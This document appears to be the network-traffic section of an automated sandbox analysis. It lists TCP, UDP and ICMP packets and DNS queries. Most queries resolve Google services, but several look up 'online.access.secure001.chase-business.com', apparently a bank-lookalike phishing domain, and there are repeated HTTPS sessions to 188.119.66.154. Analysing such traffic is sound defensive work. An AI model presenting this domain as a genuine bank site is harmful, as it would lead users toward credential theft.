Dec 20, 2024 01:17:25.118844986 CET	49912	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:17:25.134582043 CET	49724	80	192.168.2.4	199.232.214.172
Dec 20, 2024 01:17:25.254832029 CET	80	49724	199.232.214.172	192.168.2.4
Dec 20, 2024 01:17:25.254992962 CET	49724	80	192.168.2.4	199.232.214.172
Dec 20, 2024 01:17:26.010118961 CET	443	49918	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.010406017 CET	49918	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:26.010468006 CET	443	49918	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.010962963 CET	443	49918	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.019716978 CET	49918	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:26.019820929 CET	443	49918	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.020287037 CET	49918	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:26.067331076 CET	443	49918	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.675893068 CET	443	49918	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.675983906 CET	443	49918	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.676089048 CET	49918	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:26.677525043 CET	49918	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:26.677551031 CET	443	49918	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.681936026 CET	49924	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:26.681998014 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:26.682207108 CET	49924	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:26.683435917 CET	49924	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:26.683470964 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:28.141486883 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:28.141752958 CET	49924	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:28.141815901 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:28.142149925 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:28.142533064 CET	49924	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:28.142606020 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:28.142667055 CET	49924	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:28.183330059 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:28.698956013 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:28.699012995 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:28.699150085 CET	49924	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:28.699985027 CET	49924	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:28.700023890 CET	443	49924	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:29.573446035 CET	49930	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:29.573477983 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:29.573532104 CET	49930	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:29.573785067 CET	49930	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:29.573803902 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.080338001 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.080744028 CET	49930	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:31.080758095 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.081110954 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.081489086 CET	49930	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:31.081547022 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.081708908 CET	49930	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:31.123359919 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.778065920 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.778131008 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.778228998 CET	49930	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:31.780257940 CET	49930	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:31.780270100 CET	443	49930	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.785350084 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:31.785437107 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:31.785533905 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:31.785907984 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:31.785943985 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.237991095 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.238856077 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:33.238918066 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.239265919 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.239741087 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:33.239818096 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.240001917 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:33.283375025 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.795243025 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.795303106 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.796577930 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:33.796629906 CET	443	49936	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:33.796669006 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:33.796848059 CET	49936	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:34.599509001 CET	49942	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:34.599622011 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:34.599709988 CET	49942	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:34.600050926 CET	49942	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:34.600085974 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:34.773508072 CET	443	49912	142.250.181.132	192.168.2.4
Dec 20, 2024 01:17:34.773582935 CET	443	49912	142.250.181.132	192.168.2.4
Dec 20, 2024 01:17:34.773648024 CET	49912	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:17:35.557095051 CET	49912	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:17:35.557127953 CET	443	49912	142.250.181.132	192.168.2.4
Dec 20, 2024 01:17:36.058698893 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.059025049 CET	49942	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:36.059076071 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.059429884 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.059747934 CET	49942	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:36.059817076 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.059942007 CET	49942	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:36.103359938 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.729330063 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.729415894 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.729461908 CET	49942	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:36.730575085 CET	49942	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:36.730592966 CET	443	49942	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.734050989 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:36.734078884 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:36.734146118 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:36.734361887 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:36.734375954 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:38.187732935 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:38.188056946 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:38.188070059 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:38.188529015 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:38.189009905 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:38.189009905 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:38.189023972 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:38.189088106 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:38.243777037 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:38.265439987 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:38.265516043 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:38.265688896 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:38.265814066 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:38.265831947 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:38.817435026 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:38.817488909 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:38.817537069 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:38.818016052 CET	49948	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:38.818032026 CET	443	49948	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:39.604684114 CET	49961	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:39.604727983 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:39.605859995 CET	49961	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:39.606015921 CET	49961	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:39.606034994 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:39.994301081 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:39.994651079 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:39.994715929 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:39.995982885 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:39.996345997 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:39.996531010 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:39.996536016 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:39.996577024 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:39.996638060 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:40.041076899 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:40.800959110 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:40.803489923 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:40.803544998 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:40.803899050 CET	49954	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:40.803917885 CET	443	49954	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:40.970714092 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:40.970798016 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:40.970879078 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:40.971077919 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:40.971117020 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:41.098825932 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.099008083 CET	49961	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:41.099024057 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.099498034 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.099817991 CET	49961	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:41.099896908 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.099992037 CET	49961	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:41.143358946 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.739450932 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.739620924 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.740387917 CET	49961	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:41.740591049 CET	49961	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:41.740601063 CET	443	49961	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.743041039 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:41.743056059 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:41.743196011 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:41.743356943 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:41.743361950 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:42.852227926 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:42.852655888 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:42.852721930 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:42.853271008 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:42.853395939 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:42.854279041 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:42.854441881 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:42.854654074 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:42.854752064 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:42.854973078 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:42.895380974 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:42.900438070 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:42.900474072 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:42.947282076 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:43.197371960 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:43.197701931 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:43.197725058 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:43.198818922 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:43.199282885 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:43.199282885 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:43.199472904 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:43.244158030 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:43.652075052 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:43.652131081 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:43.652204037 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:43.652226925 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:43.654686928 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:43.654752970 CET	443	49962	142.250.181.110	192.168.2.4
Dec 20, 2024 01:17:43.654817104 CET	49962	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:17:43.749699116 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:43.749778032 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:43.750494957 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:43.750511885 CET	443	49968	188.119.66.154	192.168.2.4
Dec 20, 2024 01:17:43.750541925 CET	49968	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:17:43.750556946 CET	49968	443	192.168.2.4	188.119.66.154

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 01:16:19.197654963 CET	53	64222	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:19.199642897 CET	53	61305	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:22.071917057 CET	53	53733	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:23.322664022 CET	59144	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:23.323074102 CET	52836	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:23.460022926 CET	53	59144	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:23.460038900 CET	53	52836	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:24.833889008 CET	49739	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:24.834352016 CET	61382	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:24.972068071 CET	53	49739	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:25.063014984 CET	53	61382	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:28.663528919 CET	53	56536	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:28.734025002 CET	53	54831	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:29.561688900 CET	53773	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:29.561878920 CET	56437	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:29.699311018 CET	53	53773	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:29.702115059 CET	53	56437	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:36.724771023 CET	138	138	192.168.2.4	192.168.2.255
Dec 20, 2024 01:16:37.902594090 CET	49308	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:37.902743101 CET	58558	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:37.963613987 CET	53	53015	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:38.034987926 CET	53	59120	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:38.039326906 CET	53	49308	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:38.039510012 CET	53	58558	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:38.106775045 CET	53	60628	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:39.134576082 CET	53	51923	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:39.587476969 CET	53	62330	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:40.624805927 CET	61494	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:40.625040054 CET	59680	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:40.761642933 CET	53	61494	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:40.761825085 CET	53	59680	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:40.767452955 CET	53	57271	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:40.769674063 CET	53	63743	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:40.773134947 CET	53	61955	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:44.604206085 CET	58617	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:44.604629040 CET	58002	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:44.741596937 CET	53	58617	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:44.741662979 CET	53	58002	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:44.745069027 CET	53	50177	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:47.757208109 CET	53620	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:47.757350922 CET	55790	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:47.895441055 CET	53	55790	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:47.895678043 CET	53	53620	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:48.099991083 CET	56889	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:48.101053953 CET	53632	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:48.336386919 CET	53	63368	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:48.338352919 CET	53	53632	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:48.338751078 CET	53	56889	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:49.797931910 CET	56065	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:49.798070908 CET	51122	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:49.934887886 CET	53	56065	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:49.935286999 CET	53	51122	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:50.867878914 CET	59050	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:50.868043900 CET	54281	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:51.005637884 CET	53	54281	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:51.005847931 CET	53	59050	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:54.749387980 CET	53396	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:54.749531031 CET	50230	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:54.798353910 CET	52653	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:54.798504114 CET	60712	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:54.936256886 CET	53	52653	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:54.936378002 CET	53	60712	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:55.691842079 CET	53	50230	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:55.693692923 CET	53	53396	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:58.068419933 CET	53	61540	1.1.1.1	192.168.2.4
Dec 20, 2024 01:16:59.902482986 CET	55318	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:16:59.902652025 CET	59095	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:17:00.039625883 CET	53	55318	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:00.043014050 CET	53	59095	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:01.248574972 CET	64685	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:17:01.248739958 CET	54945	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:17:01.389785051 CET	53	64685	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:01.389797926 CET	53	54945	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:09.675664902 CET	53	55818	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:18.680500031 CET	53	53128	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:20.555176973 CET	53	61763	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:38.127791882 CET	50067	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:17:38.128082037 CET	54097	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:17:38.264869928 CET	53	50067	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:38.264913082 CET	53	54097	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:39.262878895 CET	53	51296	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:40.807252884 CET	53643	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:17:40.807462931 CET	60356	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:17:40.970067978 CET	53	53643	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:40.970108032 CET	53	60356	1.1.1.1	192.168.2.4
Dec 20, 2024 01:17:42.041029930 CET	53	62185	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 20, 2024 01:16:25.063081980 CET	192.168.2.4	1.1.1.1	c218	(Port unreachable)	Destination Unreachable
Dec 20, 2024 01:16:28.734100103 CET	192.168.2.4	1.1.1.1	c21e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 01:16:23.322664022 CET	192.168.2.4	1.1.1.1	0x2720	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:23.323074102 CET	192.168.2.4	1.1.1.1	0xd900	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:24.833889008 CET	192.168.2.4	1.1.1.1	0x54f1	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:24.834352016 CET	192.168.2.4	1.1.1.1	0x6d16	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:29.561688900 CET	192.168.2.4	1.1.1.1	0x84b4	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:29.561878920 CET	192.168.2.4	1.1.1.1	0x2ddc	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:37.902594090 CET	192.168.2.4	1.1.1.1	0x310b	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:37.902743101 CET	192.168.2.4	1.1.1.1	0x4577	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:40.624805927 CET	192.168.2.4	1.1.1.1	0xa71c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:40.625040054 CET	192.168.2.4	1.1.1.1	0x4ae2	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:44.604206085 CET	192.168.2.4	1.1.1.1	0xf558	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:44.604629040 CET	192.168.2.4	1.1.1.1	0x21f9	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:47.757208109 CET	192.168.2.4	1.1.1.1	0x6863	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:47.757350922 CET	192.168.2.4	1.1.1.1	0xdd37	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:48.099991083 CET	192.168.2.4	1.1.1.1	0xa94e	Standard query (0)	blobcomments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:48.101053953 CET	192.168.2.4	1.1.1.1	0xaa63	Standard query (0)	blobcomments-pa.clients6.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:49.797931910 CET	192.168.2.4	1.1.1.1	0xdffd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:49.798070908 CET	192.168.2.4	1.1.1.1	0x593c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:50.867878914 CET	192.168.2.4	1.1.1.1	0x3fe1	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:50.868043900 CET	192.168.2.4	1.1.1.1	0x55d7	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:54.749387980 CET	192.168.2.4	1.1.1.1	0x4a27	Standard query (0)	online.access.secure001.chase-business.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:54.749531031 CET	192.168.2.4	1.1.1.1	0xa1a6	Standard query (0)	online.access.secure001.chase-business.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:54.798353910 CET	192.168.2.4	1.1.1.1	0xe369	Standard query (0)	blobcomments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:54.798504114 CET	192.168.2.4	1.1.1.1	0xc727	Standard query (0)	blobcomments-pa.clients6.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:16:59.902482986 CET	192.168.2.4	1.1.1.1	0x5110	Standard query (0)	peoplestackwebexperiments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:59.902652025 CET	192.168.2.4	1.1.1.1	0xcc48	Standard query (0)	peoplestackwebexperiments-pa.clients6.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:17:01.248574972 CET	192.168.2.4	1.1.1.1	0x54c9	Standard query (0)	online.access.secure001.chase-business.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:17:01.248739958 CET	192.168.2.4	1.1.1.1	0x3460	Standard query (0)	online.access.secure001.chase-business.com	65	IN (0x0001)	false
Dec 20, 2024 01:17:38.127791882 CET	192.168.2.4	1.1.1.1	0x6dbf	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
